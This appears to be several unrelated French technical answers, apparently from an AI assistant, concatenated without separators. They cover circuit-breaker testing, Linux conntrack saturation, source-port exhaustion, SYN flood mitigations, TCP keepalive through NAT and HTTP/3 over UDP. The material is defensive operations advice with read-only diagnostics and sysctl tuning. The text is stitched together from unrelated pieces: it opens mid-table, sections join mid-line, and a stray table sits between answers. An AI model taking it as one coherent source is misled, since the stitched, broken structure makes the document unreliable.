| 6 | Files asynchrones, batchs, rejeu d'arriéré | en **dernier**, à débit plafonné, car l'arriéré accumulé est lui-même une bombe de charge |
Point critique : l'étape 6 est celle qu'on oublie. Un système qui vient de se relever et qui reçoit d'un coup 30 minutes de messages en attente subit une seconde panne, indépendante de la première.
## 5. Vérification
- **Test déterministe** : injecter un générateur pseudo-aléatoire à graine fixe, simuler 200 instances, asserter que le nombre de sondes par fenêtre de 100 ms reste $\le 2$. Un test sans assertion ne vaut rien.
- **Test d'invariant en intégration continue** : `assert T_A >= (T_C + W) * 1.5`, sur la configuration réellement déployée, pas sur un fichier d'exemple.
- **Test de chaos** : couper C, mesurer le débit reçu par C à l'instant $T_{\text{reset}}$. Critère de réussite, $\le 1$ requête par clé de breaker.
- **Métrique d'oscillation** : compter les transitions `open → half_open → open` par breaker sur 10 minutes. Cible après correction, proche de 0. C'est le seul indicateur qui prouve la disparition du phénomène.
- **Contrôle d'amplification** : vérifier en trace distribuée qu'une sonde de A ne produit aucun segment vers C lorsque le breaker B→C est ouvert.
## 6. Risques résiduels et limites
- Les valeurs $20$, $10$, $10$, $30$ s, $3$ succès et $m = 1{,}5$ sont mes **hypothèses**, vous ne m'avez fourni aucun chiffre. Tous les résultats numériques ci-dessus doivent être recalculés avec vos vraies cardinalités et vos vrais délais avant toute mise en production.
- Le jitter réduit la probabilité de collision, il ne l'annule pas : $P(\ge 2) \approx 0{,}156$ par seau reste non nul, d'où la nécessité du bail partagé en complément.
- Le bail distribué introduit une nouvelle dépendance, donc un nouveau point de défaillance : prévoyez un repli local (`half_open_max_calls = 1`) si le magasin de verrous est indisponible, en mode fermé par défaut.
- Allonger $T_A$ à $49{,}5$ s augmente mécaniquement le temps de rétablissement perçu. C'est un compromis assumé entre vitesse de reprise et stabilité, à arbitrer avec vos objectifs de niveau de service.
- Un test fini ne démontre pas l'absence d'oscillation dans tous les régimes de charge. Seul un invariant vérifié sur la configuration, plus une observation en production, donne une assurance sérieuse.
- Je n'ai pas accès à votre code, à vos configurations ni à vos métriques : rien de ce qui précède n'est un constat sur votre système, ce sont des mécanismes généraux et des calculs sous hypothèses.| Élément | Valeur | |---|---| | **Mode** | Dégradation gracieuse | | **Fonctions sacrifiées** | Recommandations et miniatures | | **Fonction protégée** | Paiement | | **Déclencheur** | Atteinte de 90 % de la capacité |
## 1. Marge disponible
| Grandeur | Valeur |
|---|---|
| `nf_conntrack_max` | 262 144 entrées ($=2^{18}$, calcul vérifié) |
| `nf_conntrack_count` | 262 140 entrées |
| Entrées libres | **4** |
| Taux d'occupation | $\dfrac{262140}{262144} = 99{,}9985\ \%$ |
| Marge relative restante | $\approx 0{,}0015\ \%$ |
$$\text{marge} = 262144 - 262140 = 4 \quad\text{entrées}$$
Horizon d'épuisement de cette marge, selon le débit de nouvelles connexions (calcul $t = 4/n$) :
| Nouvelles conn./s | Temps avant saturation totale |
|---|---|
| 10 | 0,40 s |
| 100 | 0,04 s |
| 1 000 | 0,004 s |
| 5 000 | 0,0008 s |
Autrement dit, la marge est nulle en pratique : la table est pleine en permanence, avec 4 emplacements qui se libèrent et se reprennent instantanément.
## 2. Diagnostic
**Saturation de la table de suivi de connexions du noyau (conntrack), et non un problème applicatif.**
Le mécanisme est le suivant : le sous-système Connection Tracking de Netfilter maintient une entrée par connexion logique, identifiée par le tuple (protocole de couche 3, adresse source, adresse destination, protocole de couche 4, clé de couche 4) ; NAT et le filtrage à états s'appuient sur cette table (article Wikipédia FR « Netfilter », section Connection Tracking). Quand la table atteint `nf_conntrack_max`, le noyau ne peut plus créer d'entrée pour un paquet classé **NEW** : il le rejette. Le paquet `SYN` est donc détruit avant d'atteindre la pile TCP applicative.
Cela explique exactement le tableau clinique :
- les connexions **déjà établies** continuent de fonctionner (leur entrée existe déjà, état ESTABLISHED) ;
- les **nouvelles** connexions échouent, typiquement en timeout côté client plutôt qu'en refus explicite (le paquet est jeté, pas de RST) ;
- le **CPU** est normal : il n'y a ni boucle ni contention, juste un compteur au plafond ;
- la **mémoire applicative** est normale : la ressource épuisée est une table du noyau, hors du tas des processus, et invisible dans les métriques classiques d'application.
Trois causes racines possibles, à discriminer par les preuves de la section 3 (ce sont des hypothèses à ce stade, je n'ai pas accès au nœud) :
1. **Dimensionnement insuffisant pour la charge légitime** : nœud faisant du NAT, ingress, reverse proxy ou passerelle sortante, avec une concurrence réelle supérieure à 262 144 flux suivis. $2^{18}$ est une valeur basse pour un nœud de passerelle moderne.
2. **Fuite d'entrées par temporisations trop longues** : de très nombreuses entrées en `TIME_WAIT`, `SYN_SENT`, `CLOSE_WAIT` ou marquées `[UNREPLIED]` occupent la table longtemps après la fin de l'échange utile. Cas fréquent avec un backend injoignable, un scan, ou un client qui ouvre une connexion courte par requête sans réutilisation (absence de keep-alive).
3. **Trafic à très haut débit de flux qui n'a pas besoin d'être suivi** : DNS, monitoring, health checks, trafic interne massif. L'article Wikipédia FR « Netfilter » documente précisément la table `raw`, appelée avant toutes les autres accroches, qui « peut enregistrer une accroche qui sera appelée avant toutes les autres accroches » et permet de « filtrer des paquets avant qu'ils n'atteignent les opérations nécessitant plus de mémoire, comme Connection Tracking ». C'est le levier `NOTRACK`.
## 3. Preuve à produire
Je n'ai pas exécuté ces commandes, je n'ai aucun accès à votre nœud. Elles sont toutes en lecture seule et sans effet de bord.
**a) Confirmer le rejet par le noyau (preuve directe)**
```bash
dmesg -T | grep -i conntrack | tail -50
journalctl -k --since "-1h" | grep -i conntrack
```
Vous devez y trouver des messages de saturation de table conntrack accompagnés du rejet de paquets. Attention : l'absence de message ne prouve pas l'absence du problème, ces journaux sont limités par `net.netfilter.nf_conntrack_log_invalid` et par le rate-limiting du noyau, et le tampon `dmesg` peut avoir tourné.
**b) Compteurs de rejets, preuve quantitative la plus fiable**
```bash
conntrack -S # colonnes insert_failed, drop, early_drop, invalid, par CPU
cat /proc/net/stat/nf_conntrack
```
Un `drop` ou `insert_failed` non nul et **croissant entre deux relevés espacés de 10 s** établit le lien de causalité entre la saturation et les échecs. C'est la preuve à exiger : une valeur unique ne dit pas si elle est ancienne.
**c) Établir la cause racine, répartition de la table**
```bash
sysctl net.netfilter.nf_conntrack_max net.netfilter.nf_conntrack_count
cat /sys/module/nf_conntrack/parameters/hashsize # nombre de buckets
sysctl -a 2>/dev/null | grep nf_conntrack_.*timeout # toutes les temporisations réelles
# repartition par etat TCP
conntrack -L 2>/dev/null | awk '{print $4}' | sort | uniq -c | sort -rn
# entrees jamais repondues (fuite, scan, backend mort)
conntrack -L 2>/dev/null | grep -c UNREPLIED
# top 20 des IP sources consommatrices
conntrack -L 2>/dev/null | grep -oP 'src=\K[0-9.]+' | sort | uniq -c | sort -rn | head -20
# repartition par protocole et port destination
conntrack -L 2>/dev/null | grep -oP 'dport=\K[0-9]+' | sort | uniq -c | sort -rn | head -20
```
`conntrack -L` parcourt toute la table et coûte du temps CPU sur une table de $2^{18}$ entrées ; lancez-le une fois, pas en boucle serrée.
**d) Mesurer le coût mémoire réel avant toute augmentation**
```bash
grep -E 'nf_conntrack' /proc/slabinfo
# colonnes : <objsize> et <num_objs> -> octets par entree reellement alloues
```
La taille d'une entrée dépend du noyau, de l'architecture et des extensions chargées (NAT, helpers, accounting) : mesurez-la, ne l'estimez pas. À titre d'ordre de grandeur seulement, et je le signale explicitement comme hypothèse non sourcée, avec une entrée de 300 octets la table pleine coûterait $262144 \times 300 / 2^{20} \approx 75$ MiB de mémoire noyau non swappable.
**e) Vérifier l'hypothèse d'absence de cause applicative**
```bash
ss -s # sockets reellement ouvertes cote noeud
ss -tan state time-wait | wc -l
```
Un écart massif entre le nombre de sockets locales et `nf_conntrack_count` oriente vers du trafic transitant (forward, NAT) plutôt que terminé localement.
## 4. Correction
### Phase 1, remise en service immédiate
Augmenter la table et, **en même temps**, la table de hachage. Augmenter `max` sans augmenter `hashsize` allonge les chaînes de collision : le ratio usuellement retenu en exploitation est de 4 entrées par bucket (je le donne comme pratique d'ingénierie, pas comme valeur normative). En doublant vers $2^{19}$ :
$$\text{max} = 524288 = 2^{19}, \qquad \text{hashsize} = \frac{524288}{4} = 131072 = 2^{17}$$
```bash
# 1. sauvegarder l'etat courant AVANT toute modification (rollback)
sysctl -a 2>/dev/null | grep -E 'nf_conntrack' > /root/conntrack-backup-$(date +%F-%H%M).txt
cat /sys/module/nf_conntrack/parameters/hashsize >> /root/conntrack-backup-$(date +%F-%H%M).txt
# 2. hashsize d'abord (rehash a chaud, brievement couteux en CPU)
echo 131072 > /sys/module/nf_conntrack/parameters/hashsize
# 3. puis max
sysctl -w net.netfilter.nf_conntrack_max=524288
# 4. controle immediat
sysctl net.netfilter.nf_conntrack_max net.netfilter.nf_conntrack_count
conntrack -S | tr ' ' '\n' | grep -E 'drop|insert_failed'
```
Persistance après redémarrage :
```bash
cat > /etc/sysctl.d/90-conntrack.conf <<'EOF'
net.netfilter.nf_conntrack_max = 524288
EOF
cat > /etc/modprobe.d/nf_conntrack.conf <<'EOF'
options nf_conntrack hashsize=131072
EOF
sysctl --system
```
Ces deux fichiers rendent l'opération idempotente : les rejouer donne le même état. Rollback = supprimer les deux fichiers et restaurer les valeurs du fichier de sauvegarde.
**Risques résiduels de cette phase, à ne pas passer sous silence** : la mémoire consommée est de la mémoire noyau non swappable, donc doubler `max` double le plafond de consommation et rapproche d'un OOM sur un nœud à faible RAM ; vérifiez d'abord la mesure du point 3.d et gardez une marge. Par ailleurs, augmenter `max` ne fait que **déplacer le plafond** : si la cause est une fuite, vous ressaturerez, plus tard. C'est un correctif de disponibilité, pas un correctif de cause.
### Phase 2, traiter la cause racine
Selon le résultat du point 3.c :
**Si beaucoup de `TIME_WAIT` ou d'entrées expirées lentement**, réduire les temporisations. Les défauts des noyaux récents incluent une valeur `nf_conntrack_tcp_timeout_established` très longue (de l'ordre de plusieurs jours) ; je vous invite à lire vos valeurs réelles via la commande du point 3.c plutôt qu'à me faire confiance sur les défauts.
```bash
# valeurs de depart raisonnables pour une passerelle, a ajuster
sysctl -w net.netfilter.nf_conntrack_tcp_timeout_established=3600
sysctl -w net.netfilter.nf_conntrack_tcp_timeout_time_wait=30
sysctl -w net.netfilter.nf_conntrack_tcp_timeout_close_wait=30
sysctl -w net.netfilter.nf_conntrack_tcp_timeout_fin_wait=30
sysctl -w net.netfilter.nf_conntrack_udp_timeout=30
sysctl -w net.netfilter.nf_conntrack_udp_timeout_stream=60
```
Compromis à assumer : abaisser `tcp_timeout_established` casse les connexions longues réellement inactives (SSH oisif, tunnels, connexions de base de données en pool sans keep-alive). Ne descendez pas sous la période de keep-alive applicative. Ne touchez pas à `nf_conntrack_tcp_loose` sans analyse : le passer à 0 durcit le suivi mais casse les topologies asymétriques.
**Si beaucoup d'`UNREPLIED` depuis peu de sources**, il s'agit d'un scan, d'un backend injoignable ou d'un client en boucle de retry. Traitez à la source : correction du backend, limitation de débit, ou `ipset` en liste de blocage. Ne montez pas `max` pour absorber un abus.
**Si un flux à haut volume n'a pas besoin de suivi d'état**, exemptez-le via la table `raw`, qui est consultée avant Connection Tracking (article Wikipédia FR « Netfilter »). Exemple avec nftables, successeur de Netfilter/iptables cité par le même article :
```bash
nft add table raw
nft add chain raw prerouting '{ type filter hook prerouting priority raw; }'
nft add chain raw output '{ type filter hook output priority raw; }'
# exemple : ne pas suivre le trafic DNS interne
nft add rule raw prerouting ip saddr 10.0.0.0/8 udp dport 53 notrack
nft add rule raw output ip daddr 10.0.0.0/8 udp dport 53 notrack
```
Équivalent iptables : `iptables -t raw -A PREROUTING ... -j NOTRACK`.
Risque à connaître : un flux `NOTRACK` ne peut plus être filtré par état ni traduit par NAT, et les règles `-m conntrack --ctstate ESTABLISHED` ne le couvriront plus. Vérifiez qu'aucune règle de retour ne dépend de l'état, sinon le trafic de réponse sera bloqué. Appliquez d'abord sur une plage restreinte et observez.
**Réduire la surface**, si les helpers ne sont pas nécessaires : le chargement automatique de helpers comme `nf_conntrack_ftp` crée des entrées supplémentaires en état RELATED (article Wikipédia FR « Netfilter », section Connection Tracking aides) et constitue une surface d'attaque connue.
```bash
sysctl -w net.netfilter.nf_conntrack_helper=0
```
### Phase 3, éviter la récidive
Supervision avec alerte sur le **ratio**, pas sur la valeur absolue :
```bash
#!/bin/sh
# /usr/local/bin/conntrack-metrics.sh : sortie exploitable par un collecteur
set -eu
MAX=$(cat /proc/sys/net/netfilter/nf_conntrack_max)
CNT=$(cat /proc/sys/net/netfilter/nf_conntrack_count)
printf 'conntrack_max %s\nconntrack_count %s\nconntrack_ratio %s\n' \
"$MAX" "$CNT" "$(awk -v c="$CNT" -v m="$MAX" 'BEGIN{printf "%.4f", c/m}')"
```
Seuils que je recommande : avertissement à $\ge 0{,}70$, alerte à $\ge 0{,}85$. Sur $2^{18}$, l'avertissement se déclenche à $0{,}70 \times 262144 \approx 183\,501$ entrées, ce qui laisse un délai d'action réel, contrairement aux 4 entrées actuelles. Ajoutez la surveillance du delta de `insert_failed` et `drop` issus de `conntrack -S`, qui est le signal d'échec effectif.
## Limites de cette réponse
- Je n'ai exécuté aucune commande sur votre nœud : seuls les calculs arithmétiques ci-dessus ont été effectués localement (marge, ratio, horizons, ratio de buckets). Tout le reste est une méthode de vérification et des hypothèses de cause, à confirmer par les sorties de la section 3.
- Les valeurs par défaut des temporisations et la taille en octets d'une entrée conntrack dépendent de votre version de noyau et de votre distribution ; je ne les affirme pas, je vous donne la commande qui les révèle.
- Le diagnostic de cause racine (dimensionnement, fuite, ou trafic non pertinent) n'est pas tranché avec les seules données fournies : deux compteurs ne suffisent pas à distinguer une charge légitime d'une fuite. Les points 3.b et 3.c sont indispensables avant d'appliquer la phase 2.
- Aucune des corrections proposées n'est « sans risque » : les risques résiduels sont nommés au fil de chaque phase.### Demande simultanée
En régime stationnaire, la demande suit la loi de Little :
$$
L=\lambda W=30\,000\ \text{connexions/s}\times60\ \text{s}
=1\,800\,000\ \text{connexions}
$$
**Demande simultanée : $1\,800\,000$ connexions.** (calcul à partir des données de l’énoncé, confirmé par les résultats d’outils fournis)
### Capacité
Pour 1 adresse IP source, vers la même adresse IP et le même port de destination, la capacité indiquée est :
$$
C=28\,000\ \text{connexions simultanées}
$$
Le déficit est :
$$
\frac{L}{C}=\frac{1\,800\,000}{28\,000}\approx64{,}29
$$
La demande représente donc **environ $64{,}29$ fois la capacité disponible**. (résultats d’outils fournis)
Le débit maximal théorique, sans rétention supplémentaire des ports, est :
$$
\lambda_{\max}=\frac{28\,000}{60}\approx466{,}67\ \text{connexions/s}
$$
Avec un maintien supplémentaire de $60\ \text{s}$, par exemple un cycle total supposé de $120\ \text{s}$ incluant `TIME_WAIT` :
$$
\lambda_{\max}=\frac{28\,000}{120}\approx233{,}33\ \text{connexions/s}
$$
(résultats d’outils fournis)
### Panne attendue
À partir d’un état initial vide, les $28\,000$ ports sont consommés en :
$$
t=\frac{28\,000}{30\,000}\approx0{,}93\ \text{s}
$$
Le proxy subira donc une **épuisement des ports source**, souvent appelé épuisement SNAT ou épuisement de ports éphémères, avant que les premières connexions de $60\ \text{s}$ ne se terminent. Les nouvelles connexions échoueront ou attendront selon le comportement du proxy et du système d’exploitation. (calcul à partir de l’énoncé ; le comportement précis dépend de l’implémentation réseau)
### Remède recommandé
Il faut répartir les connexions sur plusieurs adresses IP source, chaque IP apportant une nouvelle plage de ports pour cette même destination.
Sans `TIME_WAIT` supplémentaire :
$$
N_{\mathrm{IP}}=
\left\lceil\frac{1\,800\,000}{28\,000}\right\rceil
=\left\lceil64{,}29\right\rceil
=65
$$
Avec un cycle supposé de $120\ \text{s}$ :
$$
N_{\mathrm{IP}}=
\left\lceil\frac{30\,000\times120}{28\,000}\right\rceil
=\left\lceil128{,}57\right\rceil
=129
$$
**Remède minimal théorique : $65$ IP source sans rétention supplémentaire, ou $129$ IP source avec un cycle total de $120\ \text{s}$.** (résultats d’outils fournis)
En production, il faut également :
- ajouter une marge de capacité au-delà de ce minimum mathématique, car fonctionner exactement à saturation ne laisse aucune réserve pour les pointes ou les ports indisponibles (déduction d’ingénierie à partir du calcul de capacité) ;
- réutiliser les connexions persistantes, employer un pool de connexions ou du multiplexage lorsque le protocole le permet, afin de réduire le nombre de nouvelles connexions par seconde (principe général de gestion des connexions) ;
- répartir les flux entre plusieurs destinations ou plusieurs proxys si l’architecture le permet, ce qui multiplie les espaces de tuples réseau disponibles (principe général d’adressage TCP/IP) ;
- vérifier la plage réelle de ports, les règles NAT et la politique de réutilisation après fermeture sur le système concerné, car leur comportement dépend de l’implémentation (limite explicitement non déterminée par l’énoncé).
Même une plage théorique de $64\,512$ ports, de `1024` à `65535`, ne fournirait que :
$$
\frac{64\,512}{60}=1\,075{,}2\ \text{connexions/s}
$$
par IP source sans rétention supplémentaire, ce qui reste très inférieur aux $30\,000\ \text{connexions/s}$ demandées. (résultats d’outils fournis)## 1. Ressource saturée La **file des connexions semi-ouvertes**, dite *SYN queue* ou *backlog* des connexions en attente de finalisation du triple échange. Chaque SYN reçu conduit le serveur à allouer un état de connexion pendante ; quand ce backlog est épuisé, les tentatives légitimes sont retardées ou rejetées (Wikipedia EN, article « SYN flood » : *« the server's backlog of pending connections can be exhausted, causing legitimate connection attempts to be delayed or rejected »*). Distinction importante, à ne pas confondre : cette file amont est différente de la file des connexions déjà établies en attente de retrait par `accept()` (*accept queue*). Sous SYN flood, c'est bien la première qui sature, puisque le troisième message du handshake n'arrive jamais (Wikipedia EN, « SYN flood »). ## 2. État TCP concerné - Le service visé est en **LISTEN** (Wikipedia EN, « SYN flood » : *« The attack typically targets a TCP service in the LISTEN state »*). - Les connexions qui s'accumulent et consomment la file sont dans l'état **SYN-RECEIVED** (`SYN_RECV`), c'est-à-dire SYN-ACK émis, ACK final jamais reçu. RFC 4987 traite explicitement du raccourcissement des délais d'expiration en SYN-RECEIVED (Wikipedia EN, « SYN flood » : *« shortening SYN-RECEIVED timeouts »*). ## 3. Protection côté noyau (hôte final) | Mécanisme | Principe | Limite | |---|---|---| | **SYN cookies** | Aucun état alloué : l'information de la connexion est encodée dans le numéro de séquence initial du SYN-ACK, puis reconstruite à partir de l'ACK du client (Wikipedia EN, « SYN cookies ») | Le MSS n'est codé que sur 3 bits, donc 8 valeurs possibles seulement ; certaines options TCP ne survivent pas (Wikipedia EN, « SYN cookies ») | | **SYN cache** | Diffère l'allocation de l'état complet, structure allégée par connexion pendante (Wikipedia EN, « SYN flood ») | Reste une ressource finie, donc dimensionnable mais saturable | | **Augmentation du backlog** | Plus de connexions pendantes tolérées (Wikipedia EN, « SYN flood ») | Mesure « simple mais limitée » selon RFC 4987 ; consomme de la mémoire noyau | | **Réduction du délai SYN-RECEIVED** et du nombre de retransmissions du SYN-ACK | Libère plus vite les entrées de la file (Wikipedia EN, « SYN flood ») | Pénalise les clients légitimes sur liens à forte perte ou latence | Point de sécurité à ne pas manquer, établi et documenté : les SYN cookies doivent être activés **port par port**, sans quoi un attaquant peut contourner un pare-feu en forgeant des ACK avec des numéros de séquence aléatoires jusqu'à en faire accepter un. L'implémentation Linux d'origine utilisait une variable globale, défaut corrigé sous la référence CVE-2001-0851 (Wikipedia EN, « SYN cookies »). Réserve d'honnêteté : les noms exacts des paramètres sysctl Linux (du type `net.ipv4.tcp_syncookies`, `tcp_max_syn_backlog`, `tcp_synack_retries`) relèvent de ma mémoire de modèle et **ne sont pas confirmés par les articles consultés** ; vérifiez-les dans la documentation `Documentation/networking/ip-sysctl.txt` de votre version de noyau avant application. ## 4. Protection en amont (réseau) - **Filtrage d'ingress / filtrage d'adresse source** : réduit le trafic à source usurpée, qui est le vecteur central de l'attaque (Wikipedia EN, « SYN flood », classes de mitigation de RFC 4987). - **Défenses par pare-feu ou proxy** : un équipement intermédiaire termine le handshake à la place du serveur et ne lui transmet la connexion qu'une fois complétée, dite approche *SYN proxy* (Wikipedia EN, « SYN flood » : *« firewall or proxy-based defences »*). Précision : le terme *SYN proxy* est ma reformulation du mécanisme, l'article parle de défenses par pare-feu ou proxy. - **Mitigation DDoS opérée en amont** (nettoyage de trafic chez un opérateur ou un fournisseur de mitigation) : pertinent car le SYN flood reste un vecteur majeur, deuxième vecteur d'attaque DDoS L3/L4 le plus fréquent avec 27 % des attaques selon le rapport Cloudflare du deuxième trimestre 2025 (Wikipedia EN, « SYN flood », citant le blog Cloudflare, 15 juillet 2025). ## Risques résiduels Aucune de ces mesures ne rend le service « sûr » : - les SYN cookies dégradent la négociation des options TCP et déplacent le coût vers le CPU (hachage cryptographique par SYN entrant) ; - un flood volumétrique suffisant sature la bande passante ou la carte réseau **avant** toute logique TCP, ce que ni le backlog ni les cookies ne corrigent ; - une attaque menée depuis des adresses non usurpées, par exemple un botnet complétant le handshake, échappe au filtrage d'ingress et déplace le problème vers la file `accept()` et la couche applicative ; - RFC 4987 « décrit l'attaque et recense les contre-mesures courantes ainsi que leurs compromis, mais ne définit pas de recommandations au niveau standard » (Wikipedia EN, « SYN flood »), donc le choix reste un arbitrage local, non une norme.
## 1. Insuffisance des réglages par défaut
**Le fait central :** le TCP standard ne comporte aucun mécanisme de détection de rupture au repos. Une connexion établie est réputée valide jusqu'à fermeture explicite par l'un des deux pairs, et la spécification impose que le keepalive TCP soit une option **désactivée par défaut** (article « Keepalive », encyclopédie locale, citant RFC 1122).
Conséquences chiffrées, pour un pair Linux aux valeurs par défaut $t_{idle}=7200$ s, $t_{intvl}=75$ s, $n_{probes}=9$ (valeurs documentées dans tcp(7), citées par l'article « Keepalive » ; je n'ai pas relu la page de manuel elle-même) :
$$T_{det} = 7200 + 9 \times 75 = 7875\ \text{s} \approx 2{,}19\ \text{h}$$
soit **262 fois le budget de 30 s**, et cela seulement si l'option est activée, ce qui n'est pas le cas par défaut.
**Le mode de défaillance précis, à ne pas confondre avec une coupure ordinaire :** quand le NAT supprime l'entrée de sa table après 60 s d'inactivité, aucun FIN ni RST n'est émis vers les pairs. Les deux extrémités conservent une socket en état `ESTABLISHED` alors que le chemin est mort : c'est un état semi-ouvert silencieux, structurellement indétectable sans sondage actif (même source).
**Asymétrie déterminante,** souvent négligée : après suppression du mapping, un paquet émis par le pair **interne** rouvre une entrée NAT et peut faire revivre le flux, tandis qu'un paquet émis par le pair **externe** arrive sur un 5-uplet inconnu et est rejeté. Le pair externe est donc celui qui doit impérativement sonder. Le fait que le NAT réattribue ou non le même port externe dépend de l'implémentation : c'est une hypothèse à vérifier sur l'équipement réel, je ne dispose pas de source générale à ce sujet.
Enfin, le keepalive ne couvre que les connexions **strictement au repos**. Si des données sont en attente d'acquittement, ce sont les temporisateurs de retransmission qui gouvernent, et seul un délai plafond côté socket (option `TCP_USER_TIMEOUT` sous Linux) borne le temps de détection. Les deux réglages sont nécessaires, pas l'un ou l'autre.
## 2. Mécanisme retenu
Défense en deux couches, car aucune des deux ne suffit seule.
**Couche 1, keepalive TCP noyau (obligatoire, sur les deux extrémités).** La sonde est un segment sans données ; le pair répond par un ACK, ce qui rafraîchit le mapping NAT **dans les deux sens** avec un seul aller-retour. Coût minimal, aucun code applicatif.
**Couche 2, heartbeat applicatif avec charge utile (recommandé si le chemin traverse des intermédiaires non maîtrisés).** Justification factuelle : RFC 1122 admet explicitement que la transmission d'un ACK sans données est non fiable et qu'un intermédiaire peut rejeter les paquets keepalive sans données, la connexion restant par ailleurs opérationnelle (article « Keepalive »). C'est précisément pour cette raison que des protocoles comme TLS ou SMB implémentent leur propre keepalive au-dessus de TCP (même source). Un heartbeat portant au moins un octet utile n'est pas sujet à ce filtrage.
**Complément à ne pas omettre :** `TCP_USER_TIMEOUT` réglé à 28 000 ms, pour borner aussi le cas « données en vol ». Sans lui, le budget de 30 s n'est pas garanti hors état de repos.
## 3. Intervalles
Contrainte de détection, avec les notations Linux :
$$T_{det} = t_{idle} + n_{probes} \times t_{intvl} \le 30\ \text{s}$$
Contrainte de survie NAT : intervalle de rafraîchissement $\ll 60$ s.
| Paramètre | Valeur | Rôle |
|---|---|---|
| `TCP_KEEPIDLE` | 8 s | délai avant 1re sonde sur connexion au repos |
| `TCP_KEEPINTVL` | 5 s | espacement des sondes non acquittées |
| `TCP_KEEPCNT` | 4 | sondes consécutives perdues avant RST |
| `TCP_USER_TIMEOUT` | 28 000 ms | plafond global, y compris données en vol |
$$T_{det} = 8 + 4 \times 5 = \mathbf{28\ s} \quad \text{marge budget} = 2\ \text{s}$$
$$\text{rafraîchissement NAT toutes les } 8\ \text{s} \Rightarrow \text{ratio } \frac{60}{8} = 7{,}5$$
Variante plus tolérante aux pertes isolées, à préférer sur lien radio ou réseau à gigue : $t_{idle}=5$, $t_{intvl}=4$, $n=5$, soit $5+20=25$ s, avec 4 pertes consécutives tolérées avant conclusion.
Heartbeat applicatif équivalent : période d'émission $T=10$ s, échéance de lecture $D=28$ s, ce qui tolère $\lceil 28/10 \rceil - 1 = 2$ pertes consécutives.
**Point d'architecture décisif :** ce n'est pas le NAT à 60 s qui impose 8 s, un intervalle de 40 s suffirait à maintenir le mapping. C'est le budget de détection de 30 s qui force un intervalle court. Il faut donc assumer que le facteur 7,5 de sur-rafraîchissement est le prix de la détection rapide, non une nécessité du NAT.
## 4. Charge
Hypothèses de calcul, explicites : un cycle au repos = 2 paquets (sonde + ACK). Paquet sans données = 20 o IPv4 + 20 o TCP = 40 o, porté au minimum de trame Ethernet de **64 o** (article « Keepalive », citant IEEE 802.3-2015), plus l'encapsulation standard préambule 7 o + SFD 1 o + IFG 12 o = 20 o, soit **84 o occupés sur le fil**. En IPv6, l'en-tête de 40 o porte la trame à 78 o, soit 98 o sur le fil. Calculs effectués avec l'outil de calcul local.
Par connexion, IPv4 :
| Intervalle | Débit paquets | Octets/s | Débit | Volume/jour |
|---|---|---|---|---|
| 5 s | 0,40 pps | 33,6 o/s | 269 bit/s | 2,90 Mo |
| **8 s** | **0,25 pps** | **21,0 o/s** | **168 bit/s** | **1,81 Mo** |
| 10 s | 0,20 pps | 16,8 o/s | 134 bit/s | 1,45 Mo |
| 20 s | 0,10 pps | 8,4 o/s | 67 bit/s | 0,73 Mo |
À l'échelle d'une flotte, avec $T=10$ s :
| Connexions | Paquets/s | Débit agrégé | Volume/jour |
|---|---|---|---|
| 1 000 | 200 | 0,134 Mbit/s | 1,45 Go |
| 10 000 | 2 000 | 1,34 Mbit/s | 14,5 Go |
| 100 000 | 20 000 | 13,4 Mbit/s | 145 Go |
**Le coût dominant n'est pas la bande passante.** À 8 s, 168 bit/s par connexion est négligeable sur tout lien filaire. Les charges réellement contraignantes sont ailleurs :
- **Table d'état du NAT et des pare-feu** : le keepalive maintient les $N$ mappings indéfiniment. La ressource critique devient le nombre d'entrées simultanées, non le débit. Sur un CGNAT partagé, c'est le point de rupture probable.
- **Débit paquets, non débit binaire** : 20 000 pps de trames minimales pour 100 000 connexions sollicitent le plan de traitement des paquets, dimension où les équipements saturent bien avant les 13,4 Mbit/s.
- **Client mobile** : réveiller la radio toutes les 8 s a un coût énergétique élevé. Un budget de détection de 30 s est intrinsèquement incompatible avec un profil économe en énergie ; c'est un arbitrage à trancher, pas un problème à optimiser.
## 5. Vérification
1. Confirmer la valeur réelle du délai NAT plutôt que de se fier aux 60 s annoncés : ouvrir une connexion, laisser inactif par paliers croissants, mesurer le seuil à partir duquel le trafic **entrant** cesse d'être livré.
2. Mesurer $T_{det}$ en conditions de panne franche : couper l'alimentation du chemin, horodater côté application la remontée de l'erreur, exiger $T_{det} < 30$ s sur au moins 100 essais et rapporter la distribution, pas seulement la moyenne.
3. Contrôler que les sondes traversent effectivement, par capture aux deux extrémités : c'est le seul moyen d'écarter le rejet des ACK sans données.
4. Vérifier l'application effective des paramètres par socket, les valeurs système globales ne prouvant pas le réglage d'une socket donnée.
## 6. Risques et limites
- Une marge de 2 s sur un budget de 28 s est étroite. La retenir suppose que l'ordonnancement des temporisateurs noyau et le traitement applicatif restent bien inférieurs à la seconde, ce qui n'est pas garanti sous forte charge ou avec des conteneurs soumis à des quotas CPU. La variante à 25 s est plus prudente.
- Un keepalive agressif transforme une microcoupure de quelques secondes en fermeture définitive avec RST. C'est le prix de la détection rapide : à documenter, et à compenser par une reconnexion applicative avec repli exponentiel plutôt que par un allongement des délais.
- Le keepalive teste la vivacité du chemin, non la santé du service distant. Un processus bloqué mais dont le noyau répond continue d'acquitter les sondes. Seul un heartbeat applicatif exigeant une réponse produite par la couche métier détecte ce cas.
- Les valeurs de charge ci-dessus sont des calculs sous les hypothèses énoncées, non des mesures. Toute encapsulation supplémentaire (VLAN, VPN, tunnel) les augmente et doit être recalculée.
- Le keepalive traite la conséquence, non la cause. Si l'équipement NAT est administrable, allonger le délai d'inactivité ou négocier explicitement la durée de vie du mapping est structurellement préférable. Je ne peux pas juger de sa faisabilité ici, faute d'information sur l'équipement.## 1. Diagnostic
### Transport réel de HTTP/3
| Couche | HTTP/2 | HTTP/3 |
|---|---|---|
| Sémantique HTTP | méthodes, codes, champs | identiques (source : article Wikipédia EN « HTTP/3 ») |
| Transport | TCP | QUIC (source : article Wikipédia EN « HTTP/3 ») |
| Sous-couche IP | TCP | UDP (source : article Wikipédia EN « QUIC » : « Based on IP, normally layered with UDP ») |
| Chiffrement | TLS au-dessus de TCP | TLS 1.3 intégré au handshake QUIC (source : article Wikipédia EN « QUIC ») |
| Normes | — | RFC 9114 pour HTTP/3, RFC 9000 / 8999 / 9001 / 9002 pour QUIC (source : article Wikipédia EN « HTTP/3 » et « QUIC ») |
Conséquence directe : **une ACL qui n'autorise que TCP/443 n'ouvre strictement aucun chemin pour HTTP/3**, puisque QUIC n'utilise pas TCP du tout. Il n'existe pas de mode « HTTP/3 sur TCP ».
